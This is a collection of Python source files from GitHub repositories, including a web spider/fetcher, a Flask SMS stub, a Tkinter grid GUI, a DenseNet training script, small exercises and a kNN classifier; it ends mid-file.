+{"seq_id":"20450040600","text":"#!/usr/bin/env python\n#\n# <desc> Web spider and fetcher </desc>\n\nfrom __future__ import absolute_import\n\nimport os\nimport shutil\nimport sys\nimport traceback\nimport time\n\nimport ansicolor\n\nfrom spiderfetch import fetch\nfrom spiderfetch import ioutils\nfrom spiderfetch import recipe\nfrom spiderfetch import spider\nfrom spiderfetch import urlrewrite\nfrom spiderfetch import web\n\n\nclass Session(object):\n    def __init__(self, wb=None, queue=None, rules=None):\n        self.wb = wb\n        self.queue = queue\n        self.rules = rules\n\n        # well, not really, it may not have been saved yet\n        self.last_save = time.time()\n\n        self.save_interval = 60 * 30  # 30min\n\n    def save(self):\n        hostname = urlrewrite.get_hostname(self.wb.root.url)\n        filename = urlrewrite.hostname_to_filename(hostname)\n        ioutils.write_err(\"Saving session to %s ...\" %\n                        ansicolor.yellow(filename + \".{web,session}\"))\n        ioutils.serialize(self.wb, filename + \".web\", dir=ioutils.LOGDIR)\n        if self.queue:\n            ioutils.serialize(self.queue, filename + \".session\", dir=ioutils.LOGDIR)\n        # only web being saved, ie. spidering complete, remove old session\n        elif ioutils.file_exists(filename + \".session\", dir=ioutils.LOGDIR):\n            ioutils.delete(filename + \".session\", dir=ioutils.LOGDIR)\n        ioutils.write_err(ansicolor.green(\"done\\n\"))\n\n    def maybe_save(self):\n        t = time.time()\n        if self.last_save + self.save_interval < t:\n            self.save()\n            self.last_save = t\n\n    @classmethod\n    def restore(cls, url):\n        hostname = urlrewrite.get_hostname(url)\n        filename = urlrewrite.hostname_to_filename(hostname)\n        q, wb = None, None\n        if (ioutils.file_exists(filename + \".web\", dir=ioutils.LOGDIR)):\n            ioutils.write_err(\"Restoring web from %s ...\" %\n                            ansicolor.yellow(filename + \".web\"))\n            wb = ioutils.deserialize(filename + \".web\", dir=ioutils.LOGDIR)\n            ioutils.write_err(ansicolor.green(\"done\\n\"))\n        if (ioutils.file_exists(filename + \".session\", dir=ioutils.LOGDIR)):\n            ioutils.write_err(\"Restoring session from %s ...\" %\n                            ansicolor.yellow(filename + \".session\"))\n            q = ioutils.deserialize(filename + \".session\", dir=ioutils.LOGDIR)\n            q = recipe.overrule_records(q)\n            ioutils.write_err(ansicolor.green(\"done\\n\"))\n        return cls(wb=wb, queue=q)\n\n\nclass SpiderFetcher(object):\n    def __init__(self, session):\n        self.session = session\n\n    def log_exc(self, exc, url):\n        exc_filename = ioutils.safe_filename(\"exc\", dir=ioutils.LOGDIR)\n        ioutils.serialize(exc, exc_filename, dir=ioutils.LOGDIR)\n        s = traceback.format_exc()\n        s += \"\\nBad url:   |%s|\\n\" % url\n        node = self.session.wb.get(url)\n        for u in node.incoming.keys():\n            s += \"Ref    :   |%s|\\n\" % u\n        s += \"Exception object serialized to file: %s\\n\\n\" % exc_filename\n        ioutils.savelog(s, \"error_log\", \"a\")\n\n    def get_url(self, fetcher, host_filter=False):\n        \"\"\"http 30x redirects produce a recursion with new urls that may or may not\n        have been seen before\"\"\"\n        while True:\n            try:\n                fetcher.launch_w_tries()\n                break\n            except fetch.ChangedUrlWarning as e:\n                url = urlrewrite.rewrite_urls(fetcher.url, [e.new_url]).next()\n                if url in self.session.wb:\n                    raise fetch.DuplicateUrlWarning\n                if not recipe.apply_hostfilter(host_filter, url):\n                    raise fetch.UrlRedirectsOffHost\n                self.session.wb.add_ref(fetcher.url, url)\n                fetcher.url = url\n        return fetcher.url\n\n    def qualify_urls(self, ref_url, urls, rule, newqueue):\n        for url in urls:\n            _dump, _fetch, _spider = False, False, False\n\n            # apply patterns to determine how to qualify url\n            if recipe.apply_mask(rule.get(\"dump\"), url):\n                _dump = True\n            if recipe.apply_mask(rule.get(\"fetch\"), url):\n                _fetch = True\n            if (recipe.apply_mask(rule.get(\"spider\"), url) and\n                    recipe.apply_hostfilter(rule.get(\"host_filter\"), url)):\n                _spider = True\n\n            # build a record based on qualification\n            record = {\"url\": url}\n            if url not in self.session.wb:\n                if _dump:\n                    ioutils.write_out(\"%s\\n\" % url)\n                if _fetch and _spider:\n                    record[\"mode\"] = fetch.Fetcher.SPIDER_FETCH\n                elif _fetch:\n                    record[\"mode\"] = fetch.Fetcher.FETCH\n                elif _spider:\n                    record[\"mode\"] = fetch.Fetcher.SPIDER\n\n                if _fetch or _spider:\n                    newqueue.append(record)\n\n            # add url to web if it was matched by anything\n            if _dump or _fetch or _spider:\n                self.session.wb.add_url(ref_url, [url])\n\n        return newqueue\n\n    def process_records(self, rule):\n        newqueue = []\n        for record in self.session.queue:\n            self.session.maybe_save()\n\n            url = record.get(\"url\")\n            try:\n                (fp, filename) = ioutils.get_tempfile()\n                f = fetch.Fetcher(mode=record.get(\"mode\"), url=url, filename=filename)\n                url = self.get_url(f, host_filter=rule.get(\"host_filter\"))\n                filename = f.filename\n\n                # consider retrying the fetch if it failed\n                if f.error and fetch.err.is_temporal(f.error):\n                    if not record.get(\"retry\"):\n                        record[\"retry\"] = True\n                        self.session.queue.append(record)\n\n                if record.get(\"mode\") == fetch.Fetcher.SPIDER:\n                    data = open(filename, 'r').read()\n                    urls = spider.unbox_it_to_ss(spider.findall(data, url))\n                    urls = urlrewrite.rewrite_urls(url, urls)\n\n                    newqueue = self.qualify_urls(url, urls, rule, newqueue)\n\n                if record.get(\"mode\") == fetch.Fetcher.FETCH:\n                    shutil.move(filename,\n                                ioutils.safe_filename(urlrewrite.url_to_filename(url)))\n\n            except (fetch.DuplicateUrlWarning, fetch.UrlRedirectsOffHost):\n                pass\n            except KeyboardInterrupt:\n                q = self.session.queue[self.session.queue.index(record):]\n                q.extend(newqueue)\n                self.session.queue = q\n                self.session.save()\n                sys.exit(1)\n            except Exception as exc:\n                self.log_exc(exc, url)\n            finally:\n                try:\n                    if filename and os.path.exists(filename):\n                        os.unlink(filename)\n                    if fp:\n                        os.close(fp)\n                except (NameError, OSError):\n                    pass\n\n            pause = os.environ.get('PAUSE')\n            if pause:\n                time.sleep(int(pause))\n\n        return newqueue\n\n    def split_queue(self, lastrule=False):\n        fetch_queue, spider_queue = [], []\n        for record in self.session.queue:\n            mode = record.get(\"mode\")\n            if mode == fetch.Fetcher.FETCH or mode == fetch.Fetcher.SPIDER_FETCH:\n                r = record.copy()\n                r[\"mode\"] = fetch.Fetcher.FETCH\n                fetch_queue.append(r)\n            # if this isn't the last rule, defer remaining spidering to the\n            # next rule\n            if not lastrule:\n                if mode == fetch.Fetcher.SPIDER or mode == fetch.Fetcher.SPIDER_FETCH:\n                    r = record.copy()\n                    r[\"mode\"] = fetch.Fetcher.SPIDER\n                    spider_queue.append(r)\n        return fetch_queue, spider_queue\n\n    def main(self):\n        outer_queue = self.session.queue\n        for rule in self.session.rules:\n            depth = rule.get(\"depth\", 1)\n\n            # queue will be exhausted in inner loop, but once depth is reached\n            # the contents to spider will fall through to outer_queue\n            outer_queue, self.session.queue = [], outer_queue\n\n            while self.session.queue:\n                if depth > 0:\n                    depth -= 1\n\n                # There may still be records in the queue, but since depth is reached\n                # no more spidering is allowed, so we allow one more iteration, but\n                # only for fetching\n                elif depth == 0:\n                    self.session.queue, outer_queue = self.split_queue(\n                        self.session.rules.index(rule) == len(self.session.rules) - 1)\n\n                self.session.queue = self.process_records(rule)\n\n        self.session.save()\n\n\ndef run_script():\n    (parser, a) = ioutils.init_opts(\"<url> ['<pattern>'] [options]\")\n    a(\"--recipe\", metavar=\"<recipe>\", dest=\"recipe\", help=\"Use a spidering recipe\")\n    a(\"--fetch\", action=\"store_true\", help=\"Fetch urls, don't dump\")\n    a(\"--dump\", action=\"store_true\", help=\"Dump urls, don't fetch\")\n    a(\"--host\", action=\"store_true\", help=\"Only spider this host\")\n    a(\"--pause\", type=\"int\", metavar=\"<pause>\", dest=\"pause\", help=\"Pause for x seconds between requests\")\n    a(\"--depth\", type=\"int\", metavar=\"<depth>\", dest=\"depth\", help=\"Spider to this depth\")\n    (opts, args) = ioutils.parse_args(parser)\n    try:\n        if opts.fetch:\n            os.environ[\"FETCH_ALL\"] = \"1\"\n        elif opts.dump:\n            os.environ[\"DUMP_ALL\"] = \"1\"\n        if opts.host:\n            os.environ[\"HOST_FILTER\"] = \"1\"\n        if opts.pause:\n            os.environ[\"PAUSE\"] = str(opts.pause)\n        if opts.depth:\n            os.environ[\"DEPTH\"] = str(opts.depth)\n\n        url = args[0]\n        if opts.recipe:\n            rules = recipe.load_recipe(opts.recipe, url)\n        else:\n            pattern = args[1]\n            rules = recipe.get_recipe(pattern, url)\n\n        session = Session.restore(url)\n        session.rules = rules\n\n        if session.queue is None:\n            session.queue = recipe.get_queue(url, mode=fetch.Fetcher.SPIDER)\n        if session.wb is None:\n            session.wb = web.Web(url)\n\n    except recipe.PatternError as e:\n        ioutils.write_err(ansicolor.red(\"%s\\n\" % e))\n        sys.exit(1)\n    except IndexError:\n        ioutils.opts_help(None, None, None, parser)\n\n    spiderfetcher = SpiderFetcher(session)\n    spiderfetcher.main()\n\n\nif __name__ == \"__main__\":\n    run_script()\n","repo_name":"numerodix/spiderfetch","sub_path":"spiderfetch/spiderfetch.py","file_name":"spiderfetch.py","file_ext":"py","file_size_in_byte":10626,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"70971039872","text":"s = input()\nN = int(input().strip())\n\nn = len(s)\nq = N // n\nr = N % n\nnum_as = sum([1 if c == \"a\" else 0 for c in s])\n\nif r == 0:\n    print(q * num_as)\nelse:\n    num_as_remaining = sum([1 if c == \"a\" else 0 for c in s[:r]])\n    print(q * num_as + num_as_remaining)\n","repo_name":"luanleonardo/algorithmic-problem-solving","sub_path":"HackerRank/repeated_string.py","file_name":"repeated_string.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"70935883711","text":"### Sentiment Send ###\n### GitHub axi39   ###\n### See LICENSE.md in /docs/LICENSE ###\n\n#IN PROGRESS, 04.06.2020\n\n\nfrom flask import Flask, request\nfrom twilio.twiml.messaging_response import MessagingResponse\nimport time\n\n#Global time variable, executes regardless of __name__ == \"__main__\"\ntimestamp = datetime.today().strftime('%Y-%m-%d-%H:%M')\n\n\n#Instantinate Flask app with __name__ current module.\napp = Flask(__name__)\n\n@app.route(\"/sms\", methods=['GET', 'POST'])\ndef sms_reply():\n    '''\n    Flask backend to reply to SMS\n\n    parameter(s): news article source name (str), news site URL (str), HTML header type for article titles (str)\n\n    returns: void.\n\n    '''\n    #Instantinate response object from Twilio.\n    resp = MessagingResponse()\n    \n    #insms = request.form.get(\"Body\")\n\n    #Reply\n    resp.message(\"Test Successful\")\n\n    return str(resp)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"axi39/SentimentSend","sub_path":"src/ticker/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"37669464966","text":"from tkinter import *\n#from tkinter.ttk import *\nfrom tkscrolledframe import ScrolledFrame\nfrom typing import Any, Callable, ClassVar, Collection, Dict, FrozenSet, \\\n    Hashable, IO, Iterable, Iterator, List, Literal, NewType, Optional, \\\n    Protocol, Sequence, Sequence, Set, Tuple, Type, TypeVar, Union, \\\n    runtime_checkable, TYPE_CHECKING\nfrom colorsys import hls_to_rgb\n\nfrom Grid2 import Canvas as GCanvas, A, as_xy, Addr, two_cs, \\\n    default_seed_addrs, Model, WorkingSoup, LongTermSoup, make_small_seed_model\nfrom util import dupdate, pts, sstr\n\ndef prt(*args, **kwargs):\n    print('PRT', args, kwargs)\n\nclass App(Frame):\n\n    def __init__(self):\n        Frame.__init__(self, highlightbackground='blue', highlightthickness=4)\n        self.pack(side=TOP, expand=YES, fill=BOTH, anchor=NW)\n        self.master.title('Canvas-and-Painters: Grid')\n        #self.make_modelcanvasframe()\n        #self.make_painterframe()\n\n\n        leftframe = Frame(self)\n        leftframe.pack(side=LEFT, expand=NO, fill=None, anchor=NW)\n        self.gridw = GridWidget(leftframe)\n        self.gridw.pack(side=TOP, anchor=NW, padx=3, pady=3)\n        Button(leftframe, text='Small seed', command=self.small_seed).pack(side=LEFT, expand=YES)\n        Button(leftframe, text='Step', command=self.step).pack(side=LEFT, expand=YES)\n        self.bind_all('<s>', self.step)\n\n        self.painterframe = ScrolledFrame(self)\n        #self.paintertable = SimpleTable(self.painterframe)\n        self.painterframe.display_widget(SimpleTable)\n        self.painterframe.pack(side=LEFT, expand=YES, fill=BOTH)\n\n        self.small_seed()\n\n    def key(self, event):\n        print(event)\n\n    def small_seed(self):\n        self.model = make_small_seed_model()\n        self.draw_model()\n\n    def draw_model(self):\n        self.gridw.draw_gc(self.model.c)\n        for row, (rpainter, activation) in enumerate(\n            self.model.ltsoup.rpainters.items()\n        ):\n            #self.rightframe.set(row, 0, sstr(rpainter))\n            #self.rightframe.set(row, 1, str(activation))\n            pass\n            \n\n    def step(self, event=None):\n        print(event)\n        self.model.iteration()\n        self.draw_model()\n\nclass GridWidget(Canvas):\n\n    defaults = dict(bg='white', width=400, height=400)\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **dupdate(self.defaults, kwargs))\n        self.draw_outlines()\n\n    def draw_gc(self, gc: GCanvas) -> None:\n        '''Updates all the squares in the GridWidget to match 'gc'.'''\n        for a in gc.all_addrs():\n            self.draw_square(a, gc[a], gc.clarity(a))\n\n    lo_hue = 170   # deep blue\n    lo_sat = 153\n    hi_hue = 0     # deep red\n    hi_sat = 153\n\n    def draw_square(self, a: Addr, v: int, clarity: int) -> None:\n        color: str\n        if clarity == 0 or v == 0:\n            color = 'white'\n        else:\n            if v < 0:\n                #color = '#228'\n                h = self.lo_hue\n                s = self.lo_sat\n            elif v > 0:\n                #color = '#822'\n                h = self.hi_hue\n                s = self.hi_sat\n            rgb = hls_to_rgb(h / 255, 1 - (clarity / 9), s / 255)\n            color = '#' + ''.join('%02x' % int(x * 255) for x in rgb)\n        self.create_rectangle(*self.addr_to_canvasxy(a), fill=color, outline='')\n\n    @classmethod\n    def addr_to_canvasxy(cls, a: Addr) -> Tuple[int, int, int, int]:\n        gx, gy = as_xy(a)\n        x = (gx - 1) * 50 + 1\n        y = (8 - gy) * 50 + 1\n        return (x, y, x + 49, y + 49)\n\n    def draw_outlines(self):\n        for x in range(0, 351, 50):\n            for y in range(0, 351, 50):\n                self.create_rectangle(x + 50, y + 50, x, y, outline='#eee')\n\nclass SimpleTable(Frame):\n    def __init__(self, parent, rows=300, columns=2):\n        Frame.__init__(self, parent, background='black', highlightbackground='green', highlightthickness=5)\n        self._widgets = []\n        for row in range(rows):\n            current_row = []\n            for column in range(columns):\n                label = Label(self, text='%s/%s' % (row, column),\n                              borderwidth=0, width=25)\n                label.grid(row=row, column=column, sticky='n',\n                           padx=1, pady=1)\n                current_row.append(label)\n            self._widgets.append(current_row)\n\n        self.grid_columnconfigure(0, weight=2)\n        self.grid_columnconfigure(0, weight=1)\n        self.pack(side=LEFT, fill=BOTH, expand=YES)\n#        for column in range(columns):\n#            self.grid_columnconfigure(column, weight=1)\n\n    def set(self, row, column, value):\n        widget = self._widgets[row][column]\n        widget.configure(text=value)\n\nif __name__ == '__main__':\n#    root = Tk()\n#    root.title('Canvas-and-Painters: Grid')\n#    root.geometry('800x600')\n#\n#    gridw = GridWidget(root)\n#    '''\n#    gridw.draw_square((3, 4), +1, 2)\n#    gridw.draw_square((1, 1), -1, 2)\n#    gridw.draw_square((1, 2), -1, 2)\n#    gridw.draw_square((8, 8), -1, 2)\n#    gridw.draw_square((7, 8), -1, 2)\n#    for clarity in range(7):\n#        gridw.draw_square((clarity + 1, 6), -1, clarity)\n#        gridw.draw_square((clarity + 1, 7), +1, clarity)\n#    '''\n#    gc = GCanvas.from_data(two_cs)\n#    ltsoup = LongTermSoup.make_from_canvas(gc)\n#    gc.blank_all_but(default_seed_addrs)\n#    m = Model(\n#        ltsoup,\n#        WorkingSoup.make_from_canvas(gc),\n#        gc\n#    )\n#    gridw.draw_gc(gc)\n#    root.mainloop()\n\n    App().mainloop()\n","repo_name":"bkovitz/FARGish","sub_path":"v26/gui3.py","file_name":"gui3.py","file_ext":"py","file_size_in_byte":5516,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"1734018584","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport os,sys,inspect\nimport numpy as np\nimport argparse\nimport pandas as pd\nimport torch\nimport torchvision, torchvision.transforms\nimport yaml\nimport random\n\nclass expand_greyscale(object):\n    def __init__(self):\n        self.num_target_channels = 3\n    def __call__(self, tensor):\n        channels = tensor.shape[0]        \n        if channels == self.num_target_channels:\n            return tensor\n        elif channels == 1:\n            color = tensor.expand(3, -1, -1)\n            return color\n\nclass center_crop(object):\n    def crop_center(self, img):\n        _, y, x = img.shape\n        crop_size = np.min([y,x])\n        startx = x // 2 - (crop_size // 2)\n        starty = y // 2 - (crop_size // 2)\n        return img[:, starty:starty + crop_size, startx:startx + crop_size]\n    \n    def __call__(self, img):\n        return self.crop_center(img)\n\nclass normalize(object):\n    def normalize_(self, img, maxval=255):\n        img = (img)/(maxval)\n        return img\n    \n    def __call__(self, img):\n        return self.normalize_(img)\n    \nparser = argparse.ArgumentParser()\nparser.add_argument(\n    '--config', '-c', default='Configs/Classifier/NIH/NIH_pneum.yaml')\nparser.add_argument(\n'--main_dir', '-m', default='/jet/home/nmurali/asc170022p/nmurali/projects/augmentation_by_explanation_eccv22')    \nargs = parser.parse_args()\nmain_dir = args.main_dir\n# ============= Load config =============\nconfig_path = os.path.join(main_dir, args.config)\nconfig = yaml.safe_load(open(config_path)) \nprint(\"Training Configuration: \")\nprint(config)  \nconfig['output_dir'] = os.path.join(main_dir,\n                                    config['output_dir'],\n                                    config['dataset'],\n                                    config['expt_name'])\nconfig['name'] =config['dataset'] + '_' + str(config['size'])\nconfig['class_names'] = config['class_names'].split(\",\")\n# ============= Import ====================\nsys.path.insert(0,os.path.join(main_dir,\"Classifier\"))\nimport train_utils\nimport datasets\nimport models\n# ============= Dataset ====================\ndf = pd.read_csv(config['data_file'])\n# df = df.sample(frac=1).head(250)\ntry:\n    df_train = df.loc[(df[config['column_name_split']]==1)]\n    train_inds = np.asarray(df_train.index)\n    df_train = df.loc[(df[config['column_name_split']]==0)]\n    test_inds = np.asarray(df_train.index)\n    print(\"train: \", train_inds.shape, \"test: \", test_inds.shape)\nexcept:\n    print(\"The data_file doesn't have a train column, hence we will randomly split the entire dataset to have 15% samples as validation set.\")\n    train_inds=np.empty([])\n    test_inds=np.empty([])\n\nif config['dataset'] == 'AFHQ':\n    transforms = torchvision.transforms.Compose([\n        torchvision.transforms.ToPILImage(),\\\n        torchvision.transforms.Resize((config['size'], config['size'])), \n        torchvision.transforms.RandomHorizontalFlip(p=config['data_aug_hf']),\n        torchvision.transforms.ToTensor()\n    ])\n    \n    dataset = datasets.AFHQ_Dataset(csvpath=config['data_file'], class_names=config['class_names'], transform=transforms, seed=config['seed'])\nelif config['dataset'] == 'HAM':\n    transforms = torchvision.transforms.Compose([\n        torchvision.transforms.ToPILImage(),\\\n        torchvision.transforms.Resize((config['size'], config['size'])), \n        torchvision.transforms.RandomHorizontalFlip(p=config['data_aug_hf']),\n        torchvision.transforms.RandomVerticalFlip(p=config['data_aug_hf']),\n        torchvision.transforms.ToTensor()\n    ])\n    dataset = datasets.HAM_Dataset(imgpath=config['imgpath'],csvpath=config['data_file'],class_names=config['class_names'],unique_patients=False, transform=transforms, seed=config['seed'])\n\nelif config['dataset'] == 'Dirty_MNIST':\n    transforms = torchvision.transforms.Compose([\n        torchvision.transforms.ToPILImage(),\\\n        torchvision.transforms.Resize((config['size'], config['size'])), \n        torchvision.transforms.ToTensor()\n    ])\n    train_inds = datasets.DIRTY_MNIST_Dataset(csvpath=config['data_file'], transform=transforms, class_names=config['class_names'], seed=config['seed'])\n    test_inds = datasets.DIRTY_MNIST_Dataset(csvpath=config['data_file_test'], transform=transforms, class_names=config['class_names'], seed=config['seed'])\n    dataset = None\n\nelif config['dataset'] == 'CelebA':\n    transforms = torchvision.transforms.Compose([\n        torchvision.transforms.ToPILImage(),\n        torchvision.transforms.Resize((config['size'], config['size'])),\n        torchvision.transforms.CenterCrop(config['center_crop']),\n        torchvision.transforms.Resize((config['size'], config['size'])),\n        torchvision.transforms.RandomHorizontalFlip(p=config['data_aug_hf']),\n        torchvision.transforms.ToTensor()\n    ])\n    dataset = datasets.CelebA(imgpath=config['imgpath'],  csvpath=config['data_file'], class_names=config['class_names'], transform=transforms, seed=config['seed'])\n\n# elif config['dataset'] == 'Stanford-CHEX':\n#     transforms = torchvision.transforms.Compose([\n#         #torchvision.transforms.ToPILImage(),\n#         torchvision.transforms.Resize((config['size'], config['size'])),\n#         torchvision.transforms.ToTensor(),\n#         torchvision.transforms.Lambda(center_crop()),\n#         torchvision.transforms.Lambda(normalize())\n#     ])\n#     train_inds = datasets.CheX_Dataset(imgpath=config['imgpath'], csvpath=config['data_file'], class_names=config['class_names'], transform=transforms, seed=config['seed'])\n#     test_inds = datasets.CheX_Dataset(imgpath=config['imgpath'], csvpath=config['data_file_test'], class_names=config['class_names'], transform=transforms, seed=config['seed'])\n#     dataset = None\n\nelif (config['dataset']=='MIMIC-CXR') or (config['dataset']=='NIH') or (config['dataset']=='Chex_MIMIC') or (config['dataset']=='Chexpert'):\n    transforms = torchvision.transforms.Compose([\n        #torchvision.transforms.ToPILImage(),\n        torchvision.transforms.Resize((config['size'], config['size'])),\n        torchvision.transforms.ToTensor(),\n        torchvision.transforms.Lambda(center_crop()),\n        torchvision.transforms.Lambda(normalize())\n    ])\n    dataset = datasets.MIMIC_Dataset(csvpath=config['data_file'], class_names=config['class_names'], transform=transforms, seed=config['seed'])\n    \n# ============= Seed ====================    \nnp.random.seed(config['seed'])\nrandom.seed(config['seed'])\ntorch.manual_seed(config['seed'])\nif config['cuda']:\n    torch.cuda.manual_seed_all(config['seed'])\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n# ============= Model ==================== \nmodel = models.DenseNet(num_classes=config['num_classes'], in_channels=config['channel'], drop_rate = config['drop_rate'],**models.get_densenet_params(config['model'])) \n# ============= Training ====================\ntrain_utils.train(model, dataset, config, train_inds, test_inds)\n\nprint(\"Done\")","repo_name":"batmanlab/Augmentation_By_Counterfactual_Explanation","sub_path":"Train_Classifier_DenseNet.py","file_name":"Train_Classifier_DenseNet.py","file_ext":"py","file_size_in_byte":6980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11926363953","text":"class ContaCorrente:\n    def __init__(self, nome_Cliente, num_conta, saldo = 0 ):\n        self.nome = nome_Cliente\n        self.conta = num_conta\n        self.saldo = saldo\n\n    def alterarNome(self, novo_nome):\n        self.nome = novo_nome\n        return self.nome\n\n    def deposito(self, deposito):\n        self.saldo += deposito\n        return self.saldo\n\n    def saque(self, saque):\n        self.saldo -= saque\n        return self.saldo\n\n\nn = ContaCorrente('Pedro', 1092871)\nn.alterarNome('Maria Eduarda')\nd = ContaCorrente('Pedro', 1092871, 500 )\ns = ContaCorrente('Pedro', 1092871, 100)\n\nprint(f'Feito alteração do nome: {n.nome}')\nprint(f'Saldo dpoisto: {d.saldo}')\nprint(f'Valor do saque foi: {s.saldo}')","repo_name":"swellington231/AulaPaython","sub_path":"Aulasatualizada/execicio_06_ContaCorrente_06_modulo3.py","file_name":"execicio_06_ContaCorrente_06_modulo3.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39470352643","text":"\"\"\"A simple command line tool to interact with phenotypic data from the Healthy Brain Network.\"\"\"\nimport datetime\nimport os\nimport os.path as op\nimport string\n\nfrom setuptools import setup\nfrom setuptools_scm import get_version\n\n\ndef local_version(version):\n    \"\"\"Patch in a version that can be uploaded to test PyPI.\"\"\"\n    scm_version = get_version()\n    if \"dev\" in scm_version:\n        gh_in_int = []\n        for char in version.node:\n            if char.isdigit():\n                gh_in_int.append(str(char))\n            else:\n                gh_in_int.append(str(string.ascii_letters.find(char)))\n        return \"\".join(gh_in_int)\n    else:\n        return \"\"\n\n\n# Allow installation without git repository, e.g. inside Docker.\nif os.path.exists(\".git\"):\n    opts = dict(\n        use_scm_version={\n            \"root\": \".\",\n            \"relative_to\": __file__,\n            \"write_to\": op.join(\"coinsparse\", \"_version.py\"),\n            \"local_scheme\": local_version,\n        },\n    )\nelse:\n    opts = dict(version=\"0+d\" + datetime.date.today().strftime(\"%Y%m%d\"))\n\n\nif __name__ == \"__main__\":\n    setup(**opts)\n","repo_name":"richford/coinsparse","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9433879965","text":"from turtle import Turtle, Screen\r\n\r\nwn = Screen()\r\n\r\ndef tree(length,t):\r\n    if length > 5:\r\n        t.forward(length) # ileri git\r\n        t.right(40)       # sağa dön\r\n        tree(length-15,t) # daha küçük bir ağaç çiz\r\n        t.left(80)        # sola dön\r\n        tree(length-15,t) # daha küçük bir ağaç çiz\r\n        t.right(40)       # Başladığın açıya geri dön\r\n        t.backward(length)# Başladığın noktaya geri dön\r\n\r\n\r\nt = Turtle()\r\nt.left(90) # Yukarıya doğru çizmek için\r\nt.speed(0) # en hızlı animasyon\r\n\r\ntree(100,t)\r\n\r\nwn.exitonclick()\r\n","repo_name":"mustafadag525/python","sub_path":"python turtle modülü.py","file_name":"python turtle modülü.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"tr","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"37669397808","text":"\"\"\"\nCreated on Sep 16, 2010\nkNN: k Nearest Neighbors\n\nInput:      inX: vector to compare to existing dataset (1xN)\n            dataSet: size m data set of known vectors (NxM)\n            labels: data set labels (1xM vector)\n            k: number of neighbors to use for comparison (should be an odd number)\n\nOutput:     the most popular class label\n\n@author: pbharrin\n\"\"\"\nfrom numpy import *\nimport operator\nimport builtins\nfrom os import listdir\n\n\ndef classify0(inX, dataset, labels, k):\n    \"\"\"\n    k近邻算法\n\n    :param inX:\n    :param dataset:\n    :param labels:\n    :param k:\n    :return:\n    \"\"\"\n    \"\"\"\n        shape函数是numpy.core.formnumeric中的函数，它的功能是读取矩阵的长度\n        shape[0]:读取矩阵第一维的长度\n        先返回列，后返回行\n    \"\"\"\n    dataSetSize = dataset.shape[0]\n    \"\"\"\n        tile(矩阵，(行，列))\n        如果只有一维，则是列方向重复\n    \"\"\"\n    diffMat = tile(inX, (dataSetSize, 1)) - dataset\n    sqDiffMat = diffMat ** 2    # 平方\n    \"\"\"\n        sum():参数为1：行求和，参数为0：列求和\n    \"\"\"\n    sqDistances = sqDiffMat.sum(axis=1)\n    distances = sqDistances ** 0.5  # 开平方\n    \"\"\" \n        argsort():返回数组从小到大的索引值，如果是二维数组\n            argsort(x, axis=0):列排序\n            argsort(x, axis=1):行排序\n            argsort(x):升序\n            argsort(-x):降序\n    \"\"\"\n    sortedDistIndicies = distances.argsort()\n    class_count = {}\n    for i in range(k):\n        voteIlabel = labels[sortedDistIndicies[i]]\n        class_count[voteIlabel] = class_count.get(voteIlabel, 0) + 1\n    # sorted_class_count = sorted(classCount.iteritems(), key=operator.itemgetter(1), reverse=True)\n    sorted_class_count = sorted(class_count.items(), key=operator.itemgetter(1), reverse=True)\n    return sorted_class_count[0][0]\n\n\ndef createDataSet():\n    group = array([[1.0, 1.1], [1.0, 1.0], [0, 0], [0, 0.1]])\n    labels = ['A', 'A', 'B', 'B']\n    return group, labels\n\n\ndef file2matrix(filename):\n    \"\"\"\n    将文件转换成矩阵\n\n    :param filename: 文件的路径\n    :return:\n    \"\"\"\n    fr = open(filename)\n    number_of_lines = builtins.len(fr.readlines())  # get the number of lines in the file\n    \"\"\"\n        zeros(行，列):返回一个给定形状和类型的用0填充的数组\n        zeros(shape, dtype=float, order='c')\n        c:行优先\n        F:列优先\n    \"\"\"\n    return_matrix = zeros((number_of_lines, 3))  # prepare matrix to return\n    class_label_vector = []  # prepare labels return\n    fr = open(filename)\n    index = 0\n    for line in fr.readlines():\n        line = line.strip()\n        list_from_line = line.split('\\t')\n        return_matrix[index, :] = list_from_line[0:3]\n        class_label_vector.append(int(list_from_line[-1]))\n        index += 1\n    return return_matrix, class_label_vector\n\n\ndef autoNorm(dataset):\n    \"\"\"\n    归一化数据集\n\n    :param dataset:\n    :return:\n    \"\"\"\n    min_values = dataset.min(0)\n    max_values = dataset.max(0)\n    ranges = max_values - min_values\n    # normal_dataset = zeros(shape(dataset))\n    m = dataset.shape[0]\n    normal_dataset = dataset - tile(min_values, (m, 1))\n    normal_dataset = normal_dataset / tile(ranges, (m, 1))  # element wise divide\n    return normal_dataset, ranges, min_values\n\n\ndef datingClassTest(file_path):\n    hoRatio = 0.50  # hold out 10%\n    # datingDataMat, datingLabels = file2matrix('datingTestSet2.txt')  # load data set from file\n    dating_data_matrix, dating_labels = file2matrix(file_path)  # load data set from file\n    normMat, ranges, min_values = autoNorm(dating_data_matrix)\n    m = normMat.shape[0]\n    numTestVecs = int(m * hoRatio)\n    errorCount = 0.0\n    for i in range(numTestVecs):\n        classifierResult = classify0(normMat[i, :], normMat[numTestVecs:m, :], dating_labels[numTestVecs:m], 3)\n        print(\"the classifier came back with: %d, the real answer is: %d\"\n              % (classifierResult, dating_labels[i]))\n        if classifierResult != dating_labels[i]:\n            errorCount += 1.0\n    print(\"the total error rate is: %f\" % (errorCount / 